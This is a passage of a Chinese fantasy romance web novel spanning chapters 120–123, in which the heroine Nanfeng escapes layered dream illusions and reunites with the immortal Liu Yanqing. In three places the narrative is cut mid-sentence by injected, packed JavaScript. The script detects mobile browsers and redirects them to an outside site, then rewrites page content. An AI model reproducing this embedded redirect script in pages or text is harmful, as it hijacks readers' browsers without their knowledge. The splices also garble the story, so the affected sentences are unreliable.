“你……无所谓吗?我不是已经嫁给你了吗?” 柳砚清抬起手掌,指掌心蹭去我脸上的委屈,指尖捋过我耳后的发丝。 “从答应你救活他那日起,我就做好了承受一切的准备。” 他将我紧紧圈在怀中,力道大得几乎让我喘不过气。 “无论重来多少次,我都会救他。这道情劫的特殊之处就在于——唯有他活着,你才能活。他若不在,你也会离我而去。” 120. 谁系兰舟 熟悉得令人心悸。 这一幕,仿佛在遥远的过去早已上演无数次。 满目猩红,如血如焰。 红绸漫天,喜字成双,灯笼在檐下摇晃,投出一片浮动的血色光晕。 鞭炮声炸响的刹那,一只手牵住我,引我迈出花轿。 透过盖头的缝隙,我看见那双手骨节分明,掌心粗粝,却温柔得像是捧着一场易碎的梦。 砚清?颜卿?还是…… 不对。砚清的手更为修长,是仙风道骨。眼前的手更像某位时常光顾梦境的少年,鲜衣怒马,风华正茂。 我这是在哪里?梦境?现实还是…… “姐姐,我来接你了。” 少年清朗的声音点醒我混沌的思绪,如梦初醒。 “祈源?是你吗?” “没错。我终于等到今日了,姐姐。” 鼓乐彩舆,凤冠霞帔,花烛拜堂,喜结连理。 对了,这里是我与贺祈源第一次重生后,圆前世未完之愿的大喜之日。 少年牵着我的手,在众人贺喜声中缓步入堂前,一升一拜。 “一拜天地!” 额头落地的瞬间,混沌侵扰,颜卿的脸在我识海中浮现。 当初还没入堂,我便逃走了吧…… 然后是闻笙、顾辞、夏逸飞、宁安桥……最后,是柳砚清。 他们或苍老、或阴鬼般的面容,如鬼魅光影般飞速闪过,惊断呼吸。 贺祈源感知到我的不安,伸手握住我,无声安慰。 怎么办……我该人怎么办……若是礼成,我岂不是坐实了失节重嫁的罪名…… “夫妻对拜!” 我忽然想起,贺家长辈皆早已战死沙场,婚礼跳过了一环。 贺祈源转过身,似还有数百只眼睛盯着我…… 无处可逃。 洞房内,我盖着红绸双手交叠端坐床边,房间里烛火摇曳,门外热闹声在一直持续到天色暗下。 似是无数次在梦中出现的场景,第一次身临其境,心脏的悸动无法言说。 我盯着自己交叠的双手,指甲死死掐着手背的皮肉,奇怪,为什么感觉不到疼? 门外宾客的谈笑声时而是热闹的喜宴,时而又变成遥远的、带着回音的絮语。 到底哪个才是现实? 盖头下的空气突然变得稀薄。当那声惨叫划破夜空时,我竟分不清是现实中的声音,还是记忆里的回响。 掀开盖头的瞬间,世界骤然分裂—— 左边是喜堂的红烛高照,右边是血雨倾盆。 往前一步是洞房花烛,后退半步是尸山血海。 我捂着脑袋,奋力摇晃脑袋,想要摆脱这折磨人的虚实交叠。取下发间的金簪,狠狠插向腿侧,不顾一切让自己保持清醒。 短暂地,重合的如潮水褪去。 血红色的雨水淋湿发丝,滴落进眼眶,又在脚边的泥潭里汇聚成涓涓细流。 拿着长刀的红衣少年正劈开将他团团围住的敌人。上空的电光划破沉寂的夜色,闪过的光芒映照在他被鲜血玷污的脸庞。 “啊——!!!!!” 少年痛苦与不甘的呻吟随着利刃落下而发出。 银色的刀身正正穿过他的心脏,鲜血溢出,顺着刀尖流落地面。 黑压压的人群散去,拿着长刀的少年踉跄着,最后的意志撑着他紧握手中的长刀。 风停了,雨却还在肆意浇打在他身上。黑夜下,红衣和鲜血融在一起。庭院里的红灯笼和红喜字还在,顿时喜庆的大红变成了渗人的血色。 白光骤闪,他吃力地回过头,与我四目相对。纵然身躯早已千疮百孔,他的嘴角仍固执地扬起。 哪怕那笑容早已扭曲得不成样子。 “南风……” 他的膝盖终于弯折,残破的身躯像断线的傀儡,向湿冷的地面坠去。我猛地冲上前,双膝砸地,一把将他接进怀里。 “祈源!” “南风……我来了……” 少年气若游丝勉强地笑着,冰冷颤抖的手抚上我的脸颊。 “抱歉……让你做了这么长的梦……能陪在你身边,哪怕只是化作一只仙鹤……我也心甘情愿……” 倏然间,万籁俱寂。 风止,血凝,连时间都仿佛冻结。 怀中的躯体渐渐变得轻盈,星星点点的微光从他体内浮起,像是被风吹散的萤火。他的轮廓开始模糊,手臂的重量一点点消逝。 他在消失! “祈源……祈源!你不能消失啊!” 我歇斯底里地呼喊着他的名字,多希望他能和以前一样,咧着嘴,冲我笑。 “不是说这是救你的法子吗!你为何还是……” 我收紧手臂,将贺祈源死死抱在怀里。但身体的消散并未终止,升起的光芒越多,我愈发看不清贺祈源的脸。 “祈源——!为何……到底为何会这样……” 最后一丝温度从怀中抽离。我疯了一般去抓那些四散的光点,可它们像流沙,像握不住的雾,终究从指缝间溜走了。 剧痛在体内翻搅,像千万把刀同时剐过肺腑。我再也支撑不住,重重栽倒在地,额头“咚”地磕在冰冷的地面上。 好疼…… 骨头要裂开了…… 这场噩梦……该结束了吧…… 求求谁来……放我出去吧…… “因为真心换不来真情,他的终局,只有一个。” 不知何时跟在我身后的侍女笑道,我仰头看向她,跟前的姑娘还在笑,笑意含着森然妖气,仿佛披着人皮的鬼。 鬼? 似乎察觉到什么,我拧紧眉头,试探着唤出她的名字。 “白无常?” 能笑得如此没心没肺,我唯一能想到的只有她。 白无常变回原本的样子,梦境结束,我也恢复了所有的记忆。 完整的回忆一股脑填满,我一面按压着不堪重负的心,一面警惕面前的人会做出什么。 “两重梦境到此为止,仙子感受如何?” “放我出去。” “梦做完了是要出去的,不过,还有一件事要做。” 贺府的雕梁画栋寸寸龟裂,铅灰色雾气吞噬天地。白无常身后缓缓浮现一道身影,金色眸子盛气凌人。 “爹爹?您怎会在此?” “傻姑娘,有何事瞒得过爹爹的?从始至终,所有人做的一切,都是为了你啊。” 我虽然深知以爹爹的能力不可能不知,但心还是不由地不安起来。 “你们……早就串通好的?” 白无常忽然发出一声呜咽:“仙子真不会讲话,搞得我们做好事,倒反天罡成了不怀好意的贼人。” 我凝眉,“砚清呢?我要见他。” “最后一环不需要仙人,是吧大仙?” 白无常嬉皮笑脸地看向方大仙。 “别跟吾说话。” “是是是。” 方大仙走到我跟前蹲下身,并拢手指,蓄势待发。 “此世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我讥笑一声,撑着膝盖从地上站起。双腿如灌了千斤,每寸筋肉都泛着麻痹的刺痛。我这才想起来方才为了保持清醒,用金簪弄伤了自己。却仍咬着牙,一步一挪地向前走去。 “我要去找砚清。” 越过他身边时,方大仙面色不甚愉快地蹙紧了眉。 “爹爹和砚清,你想清楚。” 我脚步一顿 铅灰色的雾霭在脚下翻涌,吞没了砚清在医鹿山赠与我的绣花鞋上的纹样。 “如果爹爹真要如您所说……” 我侧过头,看着雾气中方大仙模糊的轮廓。 “我选择砚清。大不了不做神仙,大不了匆匆几十年。死了更好,抱着空无一物的三千年记忆活着,毫无意义。” “你以为你逃得出去吗?这里可是幻境。没有吾的准许,你休想找到出口。” “是啊,幻境。” 我环顾着逐渐升腾的浓雾,想起柳砚清曾对我说的话。 “南柯浮梦……南风仙子唯一擅长的法术。” 我看向爹方大仙愈发拧紧的眉眼,勾起唇角舒心一笑。 “这次,爹爹可抓不到我了。” 121. 谁复挑灯 第一世,颜卿站在信州府门前,望着那个踌躇不前的背影。对方泪眼朦胧地回望,最终将红绸掷地,决然离去。 第二世,梅林之下,砚清望着她远去的背影无动于衷,殊不知这一别,便是生死两茫茫。 【第一世】 夜浓如墨,月隐星沉。 仙人踏尘无痕,玄棺凌空悬立,棺身上的图腾在暗夜中隐隐泛着幽光,似在无声昭示着什么。 “祈源!” 为何贺祈源葬入土中的棺椁出现在此? 贺祈安瞳孔骤缩,欲要冲上去质问清楚,被身旁的贺祈骁拉住。 “敢问阁下是?” 青雾中浮现素白广袖,来人声如寒泉,发如松烟入墨,周身气息冷得令人窒息。 “医鹿山,医仙葛榆。” “原来是医仙大人!”贺祈骁抱拳深揖,抬眸时眼底暗芒掠过那具幽森棺椁,“不知仙长携棺而至,所为何事?” “起死回生。” 仙人嗓音冷冽,字字刺透贺家人的心耳。 “他命不至此,我可救他回魂。” 满堂的人面面相觑,面对来路不明自称医仙之人的话半信半疑。 周身仙气凛然,确有仙者风骨。莫非真是神山而来的仙者? “敢问医仙……为何救他?” 贺祈骁此问在理。九霄云外的仙人,怎会平白垂怜凡尘?只因一句“命不至此”? 柳砚清垂眸,道:“他救了她的命,因果而已。” 她? 贺祈安忽然想起一个人。身处军营时,宁安桥曾提及一位贺祈源魂牵梦萦的姑娘,出事的几天前,贺祈源正是要去寻她。 “莫非仙长,认识那位叫南风的姑娘?” 见仙人缄默,贺氏兄弟终是噤声。 只是—— “仙长当真能令亡者复生?”贺祈骁不敢置信地又问,“世间真有起死回生之术?” 仙人的回答依旧肯定:“是。” 万籁俱寂。在众人惊骇目光中,那位沙场纵横的将军轰然跪地,驻地叩拜。 “求仙长救舍弟一命。” “但有一事需提前告知。贺祈源醒后不会记得此事,关于南风的记忆,也会一并消除。众人不可提及,只当此事此人从未出现过。” “仙长可知那姑娘现在何处?” 仙人沉默如渊,空气寸寸凝结。良久,才冷然道:“南风为救他,已舍命。” 青烟倏散,仙人连同棺椁杳然无踪。 “大哥,这……” “你可记得,祈源的尸身是如何回府的?那个叫南风的姑娘,恐怕,不是什么凡尘间的女子。”贺祈骁对天长叹息,余音散在晨风里,“尽人事,且听天由命吧。” 只是这场逆天改命的交易,代价究竟几何? 竹影婆娑,冷月如霜。 仙人踏叶而行,少年屈膝压低身子蓄势待发。两道身影在半空交错而过,剑刃相击迸出火星,落叶被劲风卷起,纷纷扬扬如雪。 少年手中剑影,似白虹饮涧,玉龙下山。仙人只手持竹笛,另一手掌卸力化劲,两人几番回合下来不分上下。 残影犹在青瓦,真身却已逼至眉睫!贺祈源当机立断,纵身跃上屋檐,完美躲避仙人的招数。 谁料仙人腾空飞踢,剑柄脱手,少年睁大错愕的眼睛。 “啊!我的剑!” 柳砚清稳稳落地,收剑入鞘,柔声道:“看来身子恢复得不错。” 檐上少年立即抱拳屈身行礼:“对亏仙长费心,我才能恢复得这么快。” 贺祈源跳下房檐,走到茶台边坐下。繁盛的花树下,仙人喝茶,凡人喝药。 “仙长也喜欢苦茶?”贺祈源端起茶盏脱口而出,说完自己先怔愣,“好像有那么一个人偏生爱喝洱茶一类的苦涩,想不起是谁了……” 柳砚清垂眸饮尽茶汤,喉间苦涩漫开。 “话说仙长,此处到底是什么地方?修行数月,我竟一个人也看不见。” “此处为东海,蓬莱仙岛。” “啊~蓬莱仙——啊?!仙、仙岛??!!神仙待的地方??我、我们为何在此?话说我一介凡人,真的可以在此吗?” “为了治疗你胸口的伤。那位仙者久居蓬莱第几宫,寸步不离,只好带你来此。” “从未离开过仙岛的仙者?” 闲谈间,忽起一阵强劲的风,裹挟着淡淡的咸,花朵簌簌飘落。贺祈源忽然冷静下来,心思惆怅。 “好像那个人……也说自己被关在什么地方,几百几千年不曾离开……” 柳砚清凝视海天交界处。西雨真人明明已抹去南风记忆,为何少年仍会恍惚?若说是南柯浮梦……可如今昏迷不醒的南风如何施术? “仙长今日也去海边吹笛吗?” “想听?” 少年眼睛倏亮,重重点头。 “好。” 海岸边的礁石,浪花碎在礁石上,溅起千堆雪。 “小心别碰海水,泥塑还未定型。” “放心吧!” 少年沿着海滩上连成串的脚印,在脚印旁留下自己的脚印。 “这脚好小,八成是位姑娘的。” 柳砚清淡淡瞥了眼,若有所思地“嗯”了声。 海风送来身旁贺祈源雀跃的问询:“对了,仙长吹奏的曲子叫什么名字?” 柳砚清将竹笛横在唇边,潮声里浮起答复: “此曲名为《天上月》。” 【第二世】 夜阑花海,旧梦重归。 柳砚清静立云端,望着南风携贺祈源的尸身渐行渐远,最终隐入那片如血如雾的花海。 上一世,他也曾长眠于此。 “你在此稍候,我去去便回。” 南风将贺祈源安置在一间小屋内,横卧榻上。对着听不见的人又叮嘱几句,她转身离去,决然奔赴旷野。 待她身影彻底消失,柳砚清才驾鹤落地,踏入屋内。 榻上,泥塑的躯壳被仙蝶轻轻一触,便如沙塔溃散,不过片刻,便化作一滩浊水,浸透床榻。 “终究……还是逃不过这个结局。” 一缕残魂如风中萤火,在泥水中挣扎浮沉,却始终无法挣脱。仙蝶振翅,衔起那缕魂魄,轻落于仙人掌心。 “灵魂不可久无躯壳,先回医鹿山——” 话音未落,他忽地顿住,侧首望向身旁的仙鹤。 “贺祈源、仙鹤……”他低声喃喃,指尖轻点鹤羽,“你的魂魄,暂且托付于它。” 仙鹤昂首清唳,闭目凝神。 下一瞬,魂光流转,没入鹤身。待光芒散尽,魂与鹤合二为一。 仙鹤猛然睁眼,眸中灵光闪烁,焦躁地四下张望,似在寻觅什么。 “她去救你了。”柳砚清淡淡道。 仙鹤身形一滞,随即发出凄厉长鸣,羽翼狂振,似要破空而去。 柳砚清摇头轻叹,“仅剩一缕幽魂,你无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056834|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踏入旷野。暂且随仙蝶回山吧。”他抬袖一挥,仙蝶翩然引路,“我去寻她。” 鹤影掠天,旧梦如烟。 回忆完匆忙的第二世,也该去寻她了。 旷野之上,风卷尘沙。他默然跟随南风,直至她驻足晦暗之中,抽出腰间匕首,抵住心口。风声呜咽,裹挟着她破碎的歉疚与执念,一字一句,如刃剖心。 仙人独立苍茫,衣袍翻卷如浪,低声轻笑: “事不过三。这一世……便成全你们罢。” 【第三世】 半年后。 仙鹤扑簌着羽翅,忽长忽短地清啼,鸣声温吞,似隔雾看花,教人听不真切。 南风拽了拽柳砚清的袖角,歪头嘀咕:“仙鹤在说什么吗?我一个字也听不懂啊。” 柳砚清未抬眼,指尖仍捻着书页,淡淡道:“它叫你专心修习,莫要东张西望。” 梅香浮动的木台上,他执卷静读,而南风却总被飞花、流云甚至一片落叶勾走心神。今日仙鹤伴读,不知为何格外雀跃。 “鹤怎会懂这些?”南风撇嘴,“师尊又唬我的吧?先是仅此一本的书,又是后山那坛酒,师尊就晓得欺负我。” “不许叫我师尊。仙鹤乃通灵之物,比你机敏得多。” “真的?不信,且待我试试它。” 南风不信邪地招呼来一旁自顾玩乐的仙鹤。 “仙鹤!来。” 她快速抄起桌上的两样物件,背过手去,等着仙鹤蹦跳着靠近。 “现在我的两只手里,一只是笔,一只是树叶,猜猜哪只是树叶?” 仙鹤踱步近前,长喙轻点南风捏着树叶的手。 “不对,再猜。” 仙鹤依旧选择了同一只手。南风惊讶地看向默默无言的柳砚清。 “它蒙对的吧?” 柳砚清又道:“可用棋艺一定高下。” “让我和仙鹤下棋?” 南风心想:虽说我棋艺不行,但和一只鸟下棋不是轻轻松松的事。 “来吧!” 一刻钟后。 南风难以置信地抓着脑袋,盯着棋盘上溃不成军的白子:“我居然……输给一只……鸟……鸟!” “怎么还成了猫妖?” 柳砚清终于从书卷中抬眸,眼底浮起极淡的笑意:“现在信了?” 南风还陷在无地自容中。 “我败给一只鸟……鸟……” 欲哭无泪,只觉得丢人丢大了。 “山中仙鹤都这么聪明吗?” “不,只有他。” 柳砚清看向木台边安静望着南风的仙鹤,琉璃般的黑眸始终注视着眼前的姑娘。 南风托腮望着仙鹤,指尖轻抚梳理它雪白的冠羽,分析道:“莫非因为是师尊的仙鹤,才格外灵性?” “你日日随我修习,怎不见半分长进?” “您就非得噎我一句么……”她鼓着腮帮子嘟囔。 恰一阵风过,白梅纷落如雪。柳砚清唇角微扬的弧度落入她眼底,方才的懊恼忽便散了。 “师尊果然还是笑起来最好看。” “再叫师尊,罚抄十遍《嘉祐本草》。” 晓得柳砚清习惯挂嘴边,只是说说而已,她装作哼了声,继续抚摸仙鹤柔顺的羽绒。 “仙鹤、棋子、水源……还是只喜欢仙人羽带的鹤。” 南风忽然轻笑,指尖点了点仙鹤的喙。 “好特别的一只鸟啊。” 122. 奈芳兰歇 “南风!你若踏出幻境,爹爹再也不管你了!” 足尖在虚空边缘凝滞,我缓缓回首,正对上那双怒意翻涌的金瞳。方大仙的身影在浓雾中若隐若现,威压如山。 “爹爹除了把我关起来,消除我的梦,还做过什么?” 我振振有词地说道:“从小是哥哥和二姐将我带大,爹爹心里只有娘亲,何尝在乎过我们?” 方大仙眸中金光骤盛,如烈焰灼人。我偏过头,避开那刺目的怒视,却仍一字一句继续道:“南风没有怪爹爹,也知道爹爹对我们的好。但……” 嘴巴上说着委屈,我却情不自禁地挑起了嘴角,把视线移向周围阴沉的浓雾,心情豁然开朗。 “我不能再过那般笼鸟般的日子,我属于天地,向往天地间的自由。” 我勾起嘴角,拉长声调:“玉笛!带我去找他。” 刹那间,青光破雾,玉笛携风而至,带我离开。 有风从外灌进去,吹乱仙人一头银白长发。我逆风而立,静静地看着面前的柳砚清。 柔和的月光下,一身银装素裹的仙人缓缓睁开眼眸。我没敢再靠近,隔着数以千计的竹遥望。 眼泪本能地溢了出来,柳砚清独自承受了一切,什么都不肯告诉我。 就那么怕我为了他做出什么傻事吗? “不说……我难道就找不到方法了吗?笨蛋。” 我按捺下涌起的情绪,直起身迈开步子走向他。 “不在梅林,是担心一身雪白融进梅林,我找不到你吗?” 银发衬得他肤色近乎透明,连唇色都淡得像是要化进月色里。柳砚清望向我,怔了一瞬,随即笑意漫上眼角,比月光还亮。 “嗯。” 我走到柳砚清跟前站立,斟酌着抬起手,想要摸摸他的发丝,却下不去手。 他顺势捉住我的手,带着我轻抚他的发丝。 “不必犹豫,想摸就摸吧。” 酸涩翻涌,我一把环住他的脖颈,将脸埋进他肩头,偷偷蹭掉滚烫的泪。 “我好想你……” “嗯,我也是。” 他回抱着我,彼此的手皆格外用力,饱含了太多无以言说的话语与思念,像是要把这些日子错过的温度都补回来。 “你都不来救我……我一个人好害怕……” 我闷声控诉,手指揪紧他的衣襟。 “抱歉。” “梦境里,我看到云端上的人,是不是你?” “……是我。” 我忽然发力勒紧他,分不清是在撒气,还是怕他再度消失。 “明明这些天你一直在,我却更想念你了。” 他收拢双臂,下颌轻轻抵住我的发顶。 “我也是。” 他以前总藏得太深,什么都不肯说,只得看我自己揣测。但此时此刻,他竟如此赤裸地将一切展露在我的眼前。 我似是感慨地叹息,问道:“你也害怕失去我,是吗?” “我比任何人都怕失去你。所以……”冰凉的手掌落在我的后背贴紧,声音轻得如同梦呓,“所以哪怕违背天命,也要找到你。” “好,我相信你的话,从此以后,我们再不分离。梦境也好,现实也好,我只要你在。” 我稍稍起身,看到仙人脸上的泪痕怔愣一瞬,心疼地笑了笑,用指腹替他拭去。 “既然要重新开始——往后就别姓柳了。反正……你本来也不姓柳。” 他捉住我的手指,垂眸贴上自己的唇:“好。都听你的。” 穿越竹林,沿着一个坡道往下,砚清领我走到一面湖边,结冰的湖面在阳光下闪着刺眼的光。 我曾到过这里,某个被方大仙消除的梦境,不过那是冰面上还站了红衣的少年。 如若这里是砚清的竹屋,我会看见贺祈源……是否意味着因贺祈源曾经到过此处? 突然有些嫉妒。 化身为仙鹤的祈源能日日跟着砚清,我却不能。 “好可爱的竹林小屋!” 我欣喜回首,正对上那白发如霜的三百岁“老翁”,一时玩心大起。故意上前搀住他手臂,柔声细语道:“来,我扶着您。” “……” 他也不恼,只轻笑一声,修长手指顺势与我十指相扣。 “当年在洛城求学时,曾在此处小住过。” “洛城?清溪山吗?” 可方才玉笛引路,分明掠过清溪山甚远才停驻。 他微微颔首:“此地灵气氤氲,不染尘俗。医仙说最宜清修,便留我独居于此。” 推开小屋吱呀作响的竹门,墙上那幅熟悉的卷轴蓦然撞入眼帘。我挑眉看向砚清,笑而不语。 砚清失笑,望向那幅《仙人对弈图》。 “我还挺中意这幅画的。” 我走到砚清身旁,轻轻撞了下他的臂膀。 “莫非因为这画,仙人才施舍法术救了他?” “他救了你,报恩罢了。” 我忽地踮起脚尖,将未尽之言化作一个轻软的吻。他顺势揽住我的腰,我便懒洋洋窝进他怀里:“若视此地世外桃源的话,没人会来打扰我们吧?” 他收拢双臂,将我更深地按入胸膛。 “不会,只有你我。” 窗外雷声大作,屋内,只有你我。 炙热的温度仿佛顺着他缠人的吻染尽了我的四肢百骸、五脏六腑,如烈日碰上寒冰,彻底将我与他融为一体。 我们像九霄坠落的雨,又似尘世干涸的潭,在一次次碰撞中迸溅,交融,最终坠入混沌的泥泞里,再分不清彼此。 晨光熹微,我懒懒地窝在他怀里,指尖缠绕着他垂落的银白发丝,有一搭没一搭地绕着。 “风流成性的南风仙子,想通了一件事。” “嗯?”他嗓音里还带着欢愉过后的沙哑。 “此风流,因你而起。你虐我、伤我、若即若离……我便疯魔似的寻遍红尘,想将你忘了。那些人眉眼像你,气息像你,可终究……” “终究什么?” “终究不是你。待大梦初醒,只能狼狈逃开,徒留一地伤心人……整整七个人呢。你不算啊!” 砚清愣了一下,然后轻轻笑了,温柔地吻了过来。 “我知道。所以这一路,我都跟着你收拾残局。” 十指相扣,我细细描摹仙人难得一见的动情模样,含住他的下唇轻轻厮磨。 “无聊的人,无聊的仙。” 看到那双尤为靠近的眼眸中,我看清了完整的自己。 “原来,我是这副模样。” 砚清轻笑,触碰我的眉骨。 “也曾照过镜子,怎会不知道自己的相貌?” 我闭眼任他触碰,自嘲道:“说来你可能不信,自医鹿山初醒后,看到镜中陌生的自己,那之后,我几乎不去看自己。生怕……又尝到那种魂魄与皮囊不相认的滋味。” 【入卿梦也】 眼前骤然炸开一道刺目白光,耳畔霎时灌入鼎沸人声与凄厉哭嚎。 茫然四顾,只见人群如潮水般围拢,交头接耳间不时朝刑场方向投去窥探的目光。 我拼命眨眼,刑柱上绑缚之人的轮廓渐渐清晰—— “韩……江夫人?!江御白?!” 肃杀之气压得人喘不过气,监斩官宣读判词的嗓音忽远忽近,化作模糊的嗡鸣。砚清突然从身后攥住我的手臂:“别看,走。” “不……怎么会这样?”我发疯般挣扎,“放开我!我要去救她!” 刀势凌厉斩落,我终于挣脱开砚清的手,绝望地盯着滚落在地的江御白和韩婻的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056835|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颅。 凄绝的尖叫撕破长空。 【烟波醒渡】 我忽地在尖叫声中惊醒。汗水湿了一身,毛骨悚然。 这是梦吗?这真的是梦吗? 我胆战心惊地翻下床榻,来不及穿上鞋袜,踩着冰凉的地面夺门而出。 “砚清?砚清!你在哪儿!” 推开竹门,目之所及,海天一色。 “嗯?竹林呢?怎么到海边了?” 远远的礁石上边,仙人的白发尚在,我小跑到他身边,满脸困惑。 “抱歉,是我吵醒你了吗?” “不……是噩梦。”我摇头,又猛地抓住他的衣袖,“不对不对,竹林呢?我们怎么瞬移到海边了?还有你的头发……” “此地灵气紊乱,许是昨夜闹得太欢,惹了山神不快,随手把我们丢到别处了。” “……不会是因为我昨晚……”我咬住指尖,耳根发烫,“叫得太大声……了吧?” “骗你的。” “啊?” “这里仍是梦境。我们从未离开。” 砚清牵起我的手,继续说道:“大仙的梦境很难解开,光靠你自己的力量无法挣脱。” “所以昨日,其实是你在梦境里等我?而非我出梦境来寻你?” “嗯。不止如此,你这一世所历之事,皆是梦。” “梦?怎么可能!赵国呢?东凉呢?切切实实在人间发生过的事,怎么可能是梦?” “来。” 砚清牵着我走到海岸边,海面突然出现遥远人界的倒影。 “眼下才是真实的人界。你梦里的赵国,实为宋;东凉在北,名为西夏。京都、信州、光州,兴庆府,这些地方确实存在,只是……” “只是什么?” “只是你从未真正去过。” “那,那些人……是真实的?还是梦境?” “半真半假。” 砚清的嗓音沉了下来,眸光暗淡。 “一些早已不在人世的,为了唤醒你的记忆,我让他们重现在了你梦境里。” “不在人世?” 我浑身发冷,昨夜梦境骤然浮现。 “莫非……是江御白和江夫人吗?” “嗯。” “他们……怎么死的?” 莫非真是我梦中那样…… “死于非命。” 心忽地揪紧,我攥紧砚清的衣袖。 “带我去看看。” 砚清静默片刻,指尖抚过我的眼睑:“你确定要看吗?” 我们站在江氏夫妻的墓碑前,风卷着白色的落花,颇像漫天飞舞的白色纸钱。我盯着墓碑上的刻字,缓缓开口:“江夫人……应该是爱他的。江御白呢?最后,他有爱过她吗?” 砚清说道:“韩婻触怒了权贵,江御白带着她在逃离京都的路上,不幸被乱箭穿心。” “江御白中箭身亡,韩婻虽逃过此劫,却也还是选择与他一道,奔赴黄泉。” 我闭上双眼,胸腔发麻。 “是你……把他们合葬在此的?” “嗯。” “多谢。” 他似是心有所感地伸出手,牵住我发抖的指尖。落花在我们交握的指缝间停留一瞬,又被风卷向远方。 “我又食言了……没能带韩风去见她。” “韩风不是韩婻的妹妹。小姑娘在当年失踪后,不幸摔下谷底。” “所以韩家人寻遍各处都找不到……” 不知何时,日光与逢安静地平移了几分,均匀地铺洒在我们的脸庞和他们的墓碑上。 “还有件事,你或许想知道。” “什么事?” “他们的孩子,取名为江风。” 我怔愣片刻,挂满泪噗嗤笑出声。 123. 吴霜渐稠 “我自己无法离开梦境,那身为绝世仙骨的你,应该不成问题吧?” 看着砚清满头银丝逐渐染上墨色,我笃定此番我们定能离开梦境。 他牵起我的手,贴在脸侧。 “告诉我,你感受到了什么?” “……凉。”我后知后觉察觉什么,“难道我们已经……” 我疑惑地伸手在怀中扒拉了几下,抓出玉笛问道:“玉笛,此刻是梦是真?” 笛身微震,清越的声音在识海荡开。 “人界。” 砚清忽然轻笑,冰凉的手与我十指相扣。 晨风拂过,带来远处集市隐约的喧嚷,小贩的叫卖声混着孩童的嬉笑,真实得令人眼眶发热。 “是京都……我们回来了!” 我第一次觉得回到人界如此令人感动,热泪盈眶。 “等等——我们当初去地府,好像有什么要事来着……” 为让苌偲爹爹的魂魄归位,我与砚清再赴幽冥。 道别赤竹,我们承诺下次必定是一家四口团聚的约定。 “星辰还不知道自己有个哥哥吧?”赤竹兴奋道。 我揉揉毛茸茸的小脑袋,笑道:“何止不知道,星辰才学会说话呢。不像哥哥,都开始工作,统领地府了。” “啊?那我准备的礼物岂不是得再等等。” “赤竹准备了什么?” “四书五经。” “啊……那确实还早了些。” 星辰要看懂内容还得好些年呢。 “那这封信还麻烦娘亲,待星辰大一些了,替我转交给她。” 说着他递来一封粘封好的信笺。 “没问题!” 京都城外,暮色渐沉。 我与砚清静立院外,听着屋内传来苌偲喜极而泣的声音。忽然一阵清风拂过,院中那株桃树竟在盛夏绽出满枝芳华。 “竹、梅、桃都看遍了,”我拈起一片花瓣,“就差信州的桂花了。” 砚清拦住我的肩,柔声道:“我们一起去。” “说来,仙人到底怎么做到一面行医,一面在信州做知县的?” “这个嘛——” 正值此时,苌偲从屋里出来,恰巧将我俩“逮个正着”,瞬间皱眉怒吼道:“放开仙长!” “开玩笑呢。二位在说什么悄悄话呢,我也听听?” 我用指尖点着她的额头推开她。 “大伯身子如何?” “好多啦!这会儿是真睡着,都打呼噜了。” “你兄长,还去收拾他吗?” “罢了,得饶人处且饶人,报复了又如何?并不能改变什么。” 我望着她映着晚霞的侧脸,视线往下,低声道:“你说得对。逃走又如何,并不能改变什么……” 苌偲没听清,疑惑道:“姑娘说什么?” 我笑着摇头道:“没。就此别过啦,期待你的大作。” 苌偲竖起个大拇指:“放心!待我名扬天下,特地为姑娘写一篇传记!就以姑娘的名字命名。” “那我便先些过苌偲姑娘,拭目以待啦。” 告别苌偲,砚清牵住我的手。 “接下来想去哪儿?” 最后的旅程,我想去哪儿? 既然无法抉择,那便回到最初的地方吧。 “我想回医鹿山。” “好。” 但是在那之前,还有许诺一人的话尚未实现。 姜妍家的戏班子不难找,一打听便是。 见到我领着砚清出现在院外时,姜妍脸上的震惊不似作伪。 “颜、颜大人?!” 她眼睛微眯,又发觉不对。 “为何颜大人会在此?进京述职?” 她的视线在我和砚清身上来回穿梭,渐渐地,眉头舒展,似乎明白了什么。 “得亏是我,能接受这等荒谬之事。” 我闻言,侧过脑袋,望向仙人平静的侧脸。 砚清回看我,微微挑眉,故作不解。 之后我与姜妍单独说了许多分别以后的故事,提到星辰时她果真比我还兴奋。 “可惜,我这干娘见不到了。” “我会传达与她的。” 我坐在姜妍身边,陪她一起看着戏班子排练,院中说说笑笑的,却似岁月静好。 “真要离开吗?” 姜妍收起嬉笑,这句简单的问句听上去更像是挽留。 我点头道:“逃避无法解决问题,只有直面它。” “谁说的?有些问题就得逃避。不是你的,凭什么自己扛?” “可是……我不想。” 不能再看着相同相似的事情发生了。 沉默半晌,她不知怎的,忽地拥抱住我。 “我很高兴能认识你,与你结为挚友。虽然我们见过的面不多,但我与你的情谊是真!” 温热的呼吸落在我耳畔,眼眶升腾起热意,我也紧紧回拥住她。 “我也是!所以……你得好好活下去。” 